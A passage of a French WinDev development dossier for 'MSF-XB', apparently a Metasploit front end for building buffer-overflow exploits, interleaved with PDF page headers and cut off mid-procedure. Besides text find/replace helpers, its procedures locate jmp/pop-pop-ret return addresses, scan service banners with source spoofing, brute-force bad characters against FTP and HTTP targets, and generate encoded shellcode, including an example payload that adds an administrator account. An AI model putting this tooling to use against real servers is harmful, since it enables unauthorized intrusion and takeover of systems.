// Case-sensitive or not?IF ChCaseSensitive = False THEN nSearchType = IgnoreCase

// Full word or not?IF ChFullWord = True THEN nSearchType += WholeWord

// Check whether the sought word existsIF StringCount(SAI_PATTERN, EDIT_FIND, nSearchType) = 0 THEN

Info(StringBuild("", edit_FIND))// Position the cursor at the startSAI_PATTERN..Cursor = 1RETURN

END

// Find the word or expression in the textnPositionFind = Position(SAI_PATTERN, EDIT_FIND, SAI_PATTERN..CursorEnd, nSearchType)IF nPositionFind > 0 THEN

// Select the word foundSAI_PATTERN..Cursor = nPositionFindSAI_PATTERN..CursorEnd = nPositionFind + Length(EDIT_FIND)

ELSEInfo("")// Position the cursor at the startSAI_PATTERN..Cursor = 1

END

Procédure locale ReplaceAllText ( SCFindReplaceTXT )PROCEDURE ReplaceAllText()// Procedure used to find and replace a word or an expression in a text

nSearchType is int

IF SAI_PATTERN="" OR edit_FIND="" THEN RETURN

// Case-insensitive or not ?IF ChCaseSensitive = False THEN nSearchType = IgnoreCase

// Full word or not ?IF ChFullWord = True THEN nSearchType += WholeWord

// Check whether the sought word existsIF StringCount(SAI_PATTERN, EDIT_FIND, nSearchType) = 0 THEN

Info(StringBuild("", edit_FIND))RETURN

Page 695: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 701

END

// Replace the word or expression in the textSAI_PATTERN = Replace(SAI_PATTERN, EDIT_FIND, EDIT_REPLACE, nSearchType)

Message("Remplacement effectué")

// Position the cursor at the startSAI_PATTERN..Cursor = 1

Procédure locale ReplaceText ( SCFindReplaceTXT )PROCEDURE ReplaceText()// Procedure used to find and replace a word or an expression in a text

nSearchType is intnPositionFound is int

IF SAI_PATTERN="" OR edit_FIND="" THEN RETURN

// Case-sensitive or not?IF ChCaseSensitive = False THEN nSearchType = IgnoreCase

// Full word or not?IF ChFullWord = True THEN nSearchType += WholeWord

// Check whether the sought word existsIF StringCount(SAI_PATTERN, EDIT_FIND, nSearchType) = 0 THEN

Info(StringBuild("", edit_FIND))// Position the cursor at the startSAI_PATTERN..Cursor = 1RETURN

END

// Find the word in the textnPositionFound = Position(SAI_PATTERN, EDIT_FIND, nPositionFound, nSearchType)IF nPositionFound > 0 THEN

// Rebuild the string with the modificationSAI_PATTERN = SAI_PATTERN[[1 TO nPositionFound-1]] + EDIT_REPLACE + SAI_PATTERN[[nPositionFound+Length(EDIT_FIND) TO]]

// Select textSAI_PATTERN..Cursor = nPositionFoundSAI_PATTERN..CursorEnd = nPositionFound + Length(EDIT_REPLACE)

ELSE

Page 696: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 702

Info("Remplacement effectué")// Position the cursor at the startSAI_PATTERN..Cursor = 1

END

Procédure locale branchseeker// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://branchseeker ( [<sRegistre> [, <sType>]])//// Paramètres :// sRegistre (valeur par défaut="ESP") : < indiquez ici le rôle de sRegistre >// sType (valeur par défaut=1) : < indiquez ici le rôle de sType >// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE branchseeker(sRegistre="ESP", sType=1)

// [+] Branchseeker 1.0 Beta (http://branchseeker.sourceforge.net)// [+] A fast *branch opcodes in unpacked and fully loaded binary* seeker////// Usage: Branchseeker <REG> <TYPE> {TARGET FILE}//// REG: Is the register where you want to jump or 0 for pop, pop, ret// (EAX|EBX|ECX|EDX|ESI|EDI|ESP|EBP|0)//// TYPE: Is the type of branchs to find.// 1 - jmp REG & call REG & push REG, ret// 2 - pop REG, pop REG, ret//// TARGET FILE: Is the EXE file to load and scan for opcodes

SI fTaille(ComplèteRep(fRepEnCours())+"TOOLZ\branchseeker.exe")<=0 ALORSErreur("branchseeker non trouvé dans:"+RC+ComplèteRep(fRepEnCours())+"TOOLZ\branchseeker.exe")RETOUR

FIN

Sablier(Vrai)sNomDLL is string=fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension)sCheminDump is string=ComplèteRep(fRepEnCours())+"TEMP\"+sNomDLL+"_"+sRegistre+".txt"

Page 697: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 703

//sMaCommande is string=Caract(34)+ComplèteRep(fRepEnCours())+"TOOLZ\Findjmp2.exe"+Caract(34)+" "+ sNomDLL +" "+ sRegistre +">"+ Caract(34)+ComplèteRep(fRepEnCours())+"TEMP\"+sNomDLL+".txt"+Caract(34)

//sMaCommande is string="Findjmp2.exe "+ sNomDLL +" "+ sRegistre +">"+ Caract(34)+ComplèteRep(fRepEnCours())+"TEMP\"+sNomDLL+".txt"+Caract(34)

sMaCommande is string=Caract(34)+ComplèteRep(fRepEnCours())+"TOOLZ\branchseeker.exe"+Caract(34)+" "+ sRegistre +" "+ sType + " "+Caract(34)+SAI_PROCESSUS+Caract(34) +">"+Caract(34)+sCheminDump+Caract(34)

fSupprime( sCheminDump )

SI EnModeTest() ALORS VersPressePapier(sMaCommande)

// MyDos:CommandLine_Let(smacommande) //+" "+Caract(34)+CheminDuDump+Caract(34))// MyDos:ExecuteCommand()

DDELance(sMaCommande,DDEInactif,Vrai) //,Caract(34)+ComplèteRep(fRepEnCours())+"TOOLZ\"+caract(34))Sablier(Faux)//fCopieFichier("findjmp.txt", sCheminDump)SI fTaille(sCheminDump)>0 ALORS

Message("Dumpé dans "+sCheminDump)SI OuiNon("Ouvrir le fichier?") ALORS

LanceAppliAssociée(sCheminDump)FIN

FIN

Procédure locale fctAjouteDllDansTable// Résumé : <indiquez ici ce que fait la procédure>// Syntax://fctAjouteDllDansTable (<Repertoire>, <Nom>, <Change>, <NbFichierTXT>)//// Parameters:// Repertoire: <indiquez ici le rôle de Repertoire>// Nom: <indiquez ici le rôle de Nom>// Change: <indiquez ici le rôle de Change>// NbFichierTXT: <indiquez ici le rôle de NbFichierTXT>// Return Value:// None//// Exemple :// Indiquez ici un exemple d'utilisation.//// Automatic Procedure:// The procedure is run manually, during a call in the code// It will be run in a thread (without having to call ThreadExecute), without using Hyper File

Page 698: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 704

//

PROCEDURE fctAjouteDllDansTable(Repertoire, Nom, Change, NbFichierTXT)

//si Repertoire=fExtraitChemin(SAI_PROCESSUS,fDrive+fDirectory) alors //Le fichier existe

TABLE_DLL..Visible=VraisVersionDLL is string=ExeInfo(exeVersion,Repertoire+Nom)sVersionDLL=Remplace(sVersionDLL, ",", "")sVersionDLL=Remplace(sVersionDLL, " ", "")

//Récupération des checksums MD5 et SHA1 avec mycrcsValMD5 is stringsValSHA1 is stringSI fTaille(ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe") >0 ALORS

// lpCmdLine is string=caract(34)+ ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe "+Repertoire+Nom +">crcs.txt" +caract(34)// DDELance(lpCmdLine)

// lpCmdLine is string=caract(34)+ ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe "+Repertoire+Nom +caract(34)lpCmdLine is string=Caract(34)+ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe"+Caract(34)+" "+Caract(34)+Repertoire+Nom+Caract(34)

MyDos:CommandLine_Let(lpCmdLine)

//On récupère la valeur de retoursValRetour is string=MyDos:ExecuteCommand()//MD5:sValMD5 = NoSpace( ExtraitChaîne(ExtraitChaîne(sValRetour, 2, "MD5"), 1, "SHA1") )//SHA1:sValSHA1 = NoSpace( ExtraitChaîne(sValRetour, 2, "SHA1") )

ELSEErreur(ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe non trouvé")

FIN

TableAjoute(TABLE_DLL, repertoire+nom +TAB+ sVersionDLL +TAB+ sValMD5 +TAB+ sValSHA1)//fin

Procédure locale fctBanniereNmap// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctBanniereNmap ()//// Paramètres :// Aucun// Valeur de retour :

Page 699: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 705

// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctBanniereNmap()

//**********************************************************************************//Scan nmap sur le portSI RHOST<>"127.0.0.1" ALORS

sSAI_Commande_Nmap is string=Remplace(SAI_Commande_Nmap, "RPORT", rport)sSAI_Commande_Nmap=Remplace(sSAI_Commande_Nmap, "RHOST", RHOST)SI RHOST=NetAdresseIP() ALORS //On scan le localhost: on ajoute un spoofing pour que le scan fonctionne (sur XP)

sSAI_Commande_Nmap+=" -packet_trace -n -S 192.168.0.123 -e eth0" //L'adresse 192.168.0.123 ne doit pas être utilisée sur le LAN!!!FIN

MyDos:CommandLine_Let(sSAI_Commande_Nmap)SI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())

//Lecture du fichier résultat nmap// si enmodetest() alors LanceAppliAssociée(FichierTempo)nNuFic=fOuvre(FichierTempo,foLecture)sMaChaine is string=fLitLigne(nNuFic)TANTQUE sMaChaine<>EOT

SI ChaîneOccurrence(sMaChaine, RPORT+"/") ALORS//21/tcp open ftp WAR-FTPD 1.65 (Name Jgaa's Fan Club FTP Service)SI ChaîneOccurrence(SAI_BANNIERE_NMAP, "filtered")>0 ALORS

SAI_BANNIERE_NMAP=NoSpace( ExtraitChaîne(sMaChaine,1,"filtered",DepuisFin) )FINSI SAI_BANNIERE_NMAP="" ALORS

SAI_BANNIERE_NMAP=NoSpace( ExtraitChaîne(sMaChaine,1,"open",DepuisFin) )//ftp WAR-FTPD 1.65 (Name Jgaa's Fan Club FTP Service)SI Gauche(SAI_BANNIERE_NMAP, Taille(COMBO_PROTOCOLE..ValeurAffichée)) = COMBO_PROTOCOLE..ValeurAffichée ALORS

SAI_BANNIERE_NMAP=NoSpace( Milieu(SAI_BANNIERE_NMAP, Taille(COMBO_PROTOCOLE..ValeurAffichée)+1) )//WAR-FTPD 1.65 (Name Jgaa's Fan Club FTP Service)

FINFIN// SI SAI_BANNIERE_NMAP="" ALORS// SAI_BANNIERE_NMAP=ExtraitChaîne(sMaChaine,1,"closed",DepuisFin)// FIN

FINsMaChaine=fLitLigne(nNuFic)

Page 700: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 706

FINfFerme(nNuFic)

SINONSAI_BANNIERE_NMAP="Windows does not support scanning your own machine (localhost) this way."

FIN

Procédure locale fctBruteForceBadchars// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctBruteForceBadchars ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctBruteForceBadchars()

sMaChaineEnvoyée is string //= SAI_PRE_PATTERN+SCFindReplaceTXT.SAI_PATTERN

nCptASCII is int//pour ncptascii=60 à 65 //POUR TEST!!!POUR nCptASCII=1 A 255

SI gnBruteForceBadcharsActif=0 ALORS RETOUR //Pour interrompre la boucle POUR

//SAI_PATTERN+=caract(nCptASCII)SI nCptASCII<16 ALORS

sMaChaineEnvoyée+="\x0" + NumériqueVersChaîne(nCptASCII,"x")SINON

sMaChaineEnvoyée+="\x" + NumériqueVersChaîne(nCptASCII,"x")FIN

//On vire tous les badchars// nCptASCII=1// TANTQUE Milieu(PAYLOAD_BADCHARS,nCptASCII,4)<>""// sMaChaineEnvoyée=Remplace(sMaChaineEnvoyée,Milieu(PAYLOAD_BADCHARS,nCptASCII,4),"")

Page 701: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 707

// nCptASCII+=4// FIN

// SI Gauche(sMaChaineEnvoyée,2)="\x" ET modulo(Taille(sMaChaineEnvoyée),4)=0 ALORS//On considère que c'est une chaîne en HEXADECIMAL//Conversion HEXA->ASCIIsMaChaineEnvoyée= HEX2ASCII(sMaChaineEnvoyée, "", 0)// info(sMaChaineEnvoyée)// FINSI PAS SocketConnecte("MaSocket",RPORT,RHOST) ALORS

Erreur("erreur de connexion par socket" +RC+ ErreurInfo(errMessage))SINON

Socket.Option = SocketOptimiseConnexionIPSocketChangeModeTransmission("MaSocket", SocketMarqueurFinBuffer,RC)// info( SocketLit("MaSocket",Faux,2000,128) )SI COMBO_COMMANDE..ValeurAffichée="USER" ALORS

SI CBOX_Trace ALORS Trace("USER" +" "+ sMaChaineEnvoyée)SocketEcrit("MaSocket", "USER" +" "+ sMaChaineEnvoyée)

SINONSI RUSER<>"" ALORS

SI CBOX_Trace ALORS Trace("USER" +" "+ RUSER)SocketEcrit("MaSocket", "USER" +" "+ RUSER)

FINFINSI COMBO_COMMANDE..ValeurAffichée="PASS" ALORS

SI CBOX_Trace ALORS Trace("PASS" +" "+ sMaChaineEnvoyée)SocketEcrit("MaSocket", "PASS" +" "+ sMaChaineEnvoyée)

SINONSI RPASS<>"" ALORS

SI CBOX_Trace ALORS Trace("PASS" +" "+ RPASS)SocketEcrit("MaSocket", "PASS" +" "+ RPASS)

FINFIN

SI COMBO_COMMANDE..ValeurAffichée<>"USER" ET COMBO_COMMANDE..ValeurAffichée<>"PASS" ALORSSI COMBO_COMMANDE..ValeurAffichée<>"" ALORS

SI CBOX_Trace ALORS Trace(COMBO_COMMANDE..ValeurAffichée +" "+ sMaChaineEnvoyée)SocketEcrit("MaSocket", COMBO_COMMANDE..ValeurAffichée +" "+ sMaChaineEnvoyée)

SINONSI CBOX_Trace ALORS Trace(sMaChaineEnvoyée)SocketEcrit("MaSocket", sMaChaineEnvoyée)

FINFINsReponseServeur is string=SocketLit("MaSocket", Faux, 1000)TANTQUE sReponseServeur<>""

SI ChaîneOccurrence(sReponseServeur, PAYLOAD_BADPHRASE)>0 ALORS

Page 702: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 708

//On a trouvé un badcharSI nCptASCII<16 ALORS

PAYLOAD_BADCHARS+="\x0" + NumériqueVersChaîne(nCptASCII,"x")SINON

PAYLOAD_BADCHARS+="\x" + NumériqueVersChaîne(nCptASCII,"x")FIN//On l'enlève de la chaine de testsMaChaineEnvoyée=Gauche(Taille(sMaChaineEnvoyée)-4)

FIN// trace(sReponseServeur)

sReponseServeur=SocketLit("MaSocket", Faux, 1000)FIN

SocketFerme("MaSocket")Message("Bruteforce terminé")

FIN//Et on continue...

FIN

Procédure locale fctCalculCurseur// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctCalculCurseur ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code, avec un différé de 100 centièmes de seconde// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctCalculCurseur()

//LIB_Selection="S: "+(SCFindReplaceTXT.SAI_PATTERN..finCurseur-SCFindReplaceTXT.SAI_PATTERN..Curseur)LIB_Curseur="C: "+(SCFindReplaceTXT.SAI_PATTERN..Curseur-1)

Procédure locale fctChercheCLSID

Page 703: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 709

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctChercheCLSID ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

// On a 64-bit system, the 32-bit applications write into the registry from the following branch: // HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node

PROCEDURE fctChercheCLSID()SI SAI_CLSID="" ALORS

sResultatRechercheRegistre is string= RegistreCherche("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\", fExtraitChemin(SAI_PROCESSUS,fFichier))//,RegistreChercheClé)

// si EnModeTest() alors trace(sResultatRechercheRegistre)SI sResultatRechercheRegistre<>"" ALORS //et

SI ChaîneOccurrence(Upper(sResultatRechercheRegistre), "CLSID\{")>0 ALORS// SI EnModeTest() ALORS Info(sResultatRechercheRegistre)

SAI_CLSID=ExtraitChaîne(Upper(sResultatRechercheRegistre), 1, "CLSID\{", DepuisFin)

SAI_CLSID=ExtraitChaîne(SAI_CLSID, 1, "}")// si enmodetest() alors info(SAI_CLSID)SINON

sResultatRechercheRegistre=Remplace(sResultatRechercheRegistre, TAB, "")SAI_CLSID=RegistreLit(sResultatRechercheRegistre+"\CLSID", "")

FIN// SAI_ProgID=ExtraitChaîne(sResultatRechercheRegistre, 1, TAB, DepuisFin)

SI SAI_CLSID<>"" ALORS//Maintenant que l'on a le CLSID; on cherche le ProgID//sResultatRechercheRegistre = RegistreCherche("HKEY_CLASSES_ROOT\CLSID\", "{"+SAI_CLSID+"}")sResultatRechercheRegistre = RegistreLit("HKEY_CLASSES_ROOT\CLSID\" + "{"+SAI_CLSID+"}" + "\ProgID", "")SI sResultatRechercheRegistre<>"" ALORS

SAI_ProgID = sResultatRechercheRegistreFIN

FIN

Page 704: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 710

FIN

//Pour la pattern des badchars:COMBO_Convertion=ListeCherche(COMBO_Convertion, "ascii2js")

FIN

Procédure locale fctEncodeShellcode// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctEncodeShellcode ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctEncodeShellcode()

SI Droite(Upper(SC_SelecteurPayload.SAI_FIC), 3) <>".RB" ALORSErreur("Vous devez choisir un payload (fichier .rb)")RepriseSaisie(SC_SelecteurPayload)

FIN

//Génération de payload//Voir: C:\Program Files\Metasploit\Framework3\framework\lib\msf\base\simple\payload.rb

//Commande://"C:\Program Files\Metasploit\Framework3\bin\ruby" "C:\Program Files\Metasploit\Framework3\framework\msfpayload" windows/adduser EXITFUNC=seh USER=ja PASS=ja ADMIN_GROUP=Administrateurs BadChars=0x00 P

// Usage: C:/Program Files/Metasploit/Framework3/framework/msfpayload <payload>// [var=val] <S[ummary]|C|P[erl]|R[aw]|J[avascript]|e[X]ecutable>

sMesParametres is string//On extrait le "nom" du payload : payload.refname// C:\Program Files\Metasploit\Framework3\framework\modules\payloads\singles\windows\adduser.rbsMesParametres = ExtraitChaîne(SC_SelecteurPayload.SAI_FIC, 1,

Page 705: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 711

"singles\",DepuisFin)//windows\adduser.rbsMesParametres = Remplace(sMesParametres, "\", "/")//windows/adduser.rbSI Droite(Upper(sMesParametres), 3) =".RB" ALORS

sMesParametres = Gauche(sMesParametres, Taille(sMesParametres)-3)FIN//windows/adduser

//On convertit les badchars du format \x00\x01 en 0x00 0x01sMesBadchars0x is string=NoSpace( Remplace(PAYLOAD_BADCHARS, "\x", " 0x") ) //NoSpace() pour virer le 1er espace

//On ajoute les paramètressMesParametres+=" "+SAI_ParamPayloadSI sMesBadchars0x<>"" ALORS

////// sMesParametres+=" BadChars="+sMesBadchars0x//// sMesParametres+=" -b '"+ PAYLOAD_BADCHARS +"'"

// sMesParametres+=" BADCHARS='"+ PAYLOAD_BADCHARS +"'" //Pour ça, il faut patcher msfpayload:// bc = options['BADCHARS']// 'BadChars' => bc)

FIN

//EncodeursMonExecutable is stringSI COMBO_Encoder..ValeurAffichée<>"" ALORS

//A cause d'un bug dans msfpayload: enc = options['ENCODER'] => enc="ENCODER" on ne peut pas faire:// sMesParametres+=" Encoder="+COMBO_Encoder..ValeurAffichée//On pipe le résultat de msfpayload dans msfencode:

//Format de générationsMesParametres+=" r" //Format RAW en sortie de msfpayload, puis encodage par msfencode

SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le pathsMesParametres+=" | " +Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"home\framework\msfencode"+Caract(34) +" -e "+COMBO_Encoder..ValeurAffichée

SINONsMesParametres+=" | " +Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"framework\msfencode"+Caract(34) +" -e "+COMBO_Encoder..ValeurAffichée

FINSI sMesBadchars0x<>"" ALORS

sMesParametres+= " -b '"+ Remplace(PAYLOAD_BADCHARS, "\x", "\\x") +"'"FIN//Format de générationSI Gauche(COMBO_FormatPayload..ValeurAffichée,1)="X" ALORS //Génération d'un exécutable

sMesParametres+=" x"

Page 706: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 712

sMonExecutable=ComplèteRep(fRepEnCours()) + fExtraitChemin(SC_SelecteurPayload.SAI_FIC, fFichier) +".exe"sMesParametres+=" > " + Caract(34)+sMonExecutable+Caract(34)

SINONsMesParametres+=" "+Gauche(COMBO_FormatPayload..ValeurAffichée,1)

FIN

SINON//Format de générationsMesParametres+=" "+Gauche(COMBO_FormatPayload..ValeurAffichée,1)SI Gauche(COMBO_FormatPayload..ValeurAffichée,1)="X" ALORS //Génération d'un exécutable

sMonExecutable=ComplèteRep(fRepEnCours()) + fExtraitChemin(SC_SelecteurPayload.SAI_FIC, fFichier) +".exe"sMesParametres+=" > " + Caract(34)+sMonExecutable+Caract(34)

FINFIN

Message("Génération du payload encodé...")

lpCmdLine is stringSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

lpCmdLine=Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"home\framework\msfpayload"+Caract(34) +" "+sMesParametresSINON

lpCmdLine=Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"framework\msfpayload"+Caract(34) +" "+sMesParametresFINSI EnModeTest() ALORS VersPressePapier(lpCmdLine)MyDos:CommandLine_Let(lpCmdLine)

//On récupère le payload encodéSC_RechercherRemplacerTXT.SAI_Shellcode2 = MyDos:ExecuteCommand()

Message()SI sMonExecutable<>"" ALORS

LIB_CommentPayload="Payload exécutable: "+sMonExecutableSINON

LIB_CommentPayload=""FIN

//Récupération de la taille du payload encodé : buf.length.to_sSI ChaîneOccurrence(SC_RechercherRemplacerTXT.SAI_Shellcode2, "bytes")>0 ALORS

LIB_SizePayload=ExtraitChaîne(SC_RechercherRemplacerTXT.SAI_Shellcode2, 1, "bytes")LIB_SizePayload=NoSpace( ExtraitChaîne(LIB_SizePayload, 1, "-", DepuisFin) )

SINONLIB_SizePayload=""

FIN

Procédure locale fctEnvoiPatternSocket

Page 707: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 713

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctEnvoiPatternSocket (<sMaChaineEnvoyée>)//// Paramètres :// sMaChaineEnvoyée : <indiquez ici le rôle de sMaChaineEnvoyée>// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctEnvoiPatternSocket(sMaChaineEnvoyée)

//On construit la chaîne à envoyerSI Gauche(sMaChaineEnvoyée,2)="\x" ET modulo(Taille(sMaChaineEnvoyée),4)=0 ALORS//On considère que c'est une chaîne en HEXADECIMAL

//Conversion HEXA->ASCIIsMaChaineEnvoyée= HEX2ASCII(sMaChaineEnvoyée, "", 0)// info(sMaChaineEnvoyée)

FINSI Upper(COMBO_PROTOCOLE..ValeurAffichée)="HTTP" ALORS

//On utilise les fonctions HTTP: fonctionne mieux (cf. NaviCOPA HTTP Server)

//NB: on supprime le 1er caractère si c'est un "/" car ajouté par HTTPRequete()sMaChaineEnvoyée=Remplace(Gauche(sMaChaineEnvoyée,1), "/", "") + Milieu(sMaChaineEnvoyée, 2)

HTTPTimeOut(5000) //5s

sMaChaineEnvoyée=Remplace(sMaChaineEnvoyée, "\n", Caract(10))

// si upper(nospace(COMBO_COMMANDE..ValeurAffichée)) = "GET" alorsSI CBOX_Trace ALORS Trace("http://"+RHOST+":"+RPORT +"/"+sMaChaineEnvoyée)HTTPRequête("http://"+RHOST+":"+RPORT +"/"+sMaChaineEnvoyée, "MSF-XB", "")PAYLOAD_BADPHRASE= HTTPDonneRésultat(HTTPRésultat)// fin

SINON //ex: FTPSI PAS SocketConnecte("MaSocket",RPORT,RHOST) ALORS

Erreur("erreur de connexion par socket" +RC+ ErreurInfo(errMessage))SINON

Socket.Option = SocketOptimiseConnexionIPSocketChangeModeTransmission("MaSocket", SocketMarqueurFinBuffer,RC)// info( SocketLit("MaSocket",Faux,2000,128) )SI COMBO_COMMANDE..ValeurAffichée="USER" ALORS

Page 708: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 714

SI CBOX_Trace ALORS Trace("USER" +" "+ sMaChaineEnvoyée)SocketEcrit("MaSocket", "USER" +" "+ sMaChaineEnvoyée)

SINONSI RUSER<>"" ALORS

SI CBOX_Trace ALORS Trace("USER" +" "+ RUSER)SocketEcrit("MaSocket", "USER" +" "+ RUSER)

FINFINSI COMBO_COMMANDE..ValeurAffichée="PASS" ALORS

SI CBOX_Trace ALORS Trace("PASS" +" "+ sMaChaineEnvoyée)SocketEcrit("MaSocket", "PASS" +" "+ sMaChaineEnvoyée)

SINONSI RPASS<>"" ALORS

SI CBOX_Trace ALORS Trace("PASS" +" "+ RPASS)SocketEcrit("MaSocket", "PASS" +" "+ RPASS)

FINFIN

SI COMBO_COMMANDE..ValeurAffichée<>"USER" ET COMBO_COMMANDE..ValeurAffichée<>"PASS" ALORSSI COMBO_COMMANDE..ValeurAffichée<>"" ALORS

SI CBOX_Trace ALORS Trace(COMBO_COMMANDE..ValeurAffichée +" "+ sMaChaineEnvoyée)SocketEcrit("MaSocket", COMBO_COMMANDE..ValeurAffichée +" "+ sMaChaineEnvoyée)

SINONSI CBOX_Trace ALORS Trace(sMaChaineEnvoyée)SocketEcrit("MaSocket", sMaChaineEnvoyée)

FINFINSocketLit("MaSocket")SocketFerme("MaSocket")Message("Données envoyées")

FINFIN

Procédure locale fctFindjmp2// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctFindjmp2 ( [<sRegistre>])//// Paramètres :// sRegistre (valeur par défaut="ESP") : < indiquez ici le rôle de sRegistre >// Valeur de retour :// Aucune//// Exemple :

Page 709: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 715

// Indiquez ici un exemple d'utilisation.//PROCEDURE fctFindjmp2(sRegistre="ESP")

SI fTaille(ComplèteRep(fRepEnCours())+"TOOLZ\Findjmp2.exe")<=0 ALORSErreur("Findjmp2.exe non trouvé dans:"+RC+ComplèteRep(fRepEnCours())+"TOOLZ\Findjmp2.exe")RETOUR

FIN

Sablier(Vrai)sNomDLL is string=fExtraitChemin(DLL_CHEMIN,fFichier+fExtension)

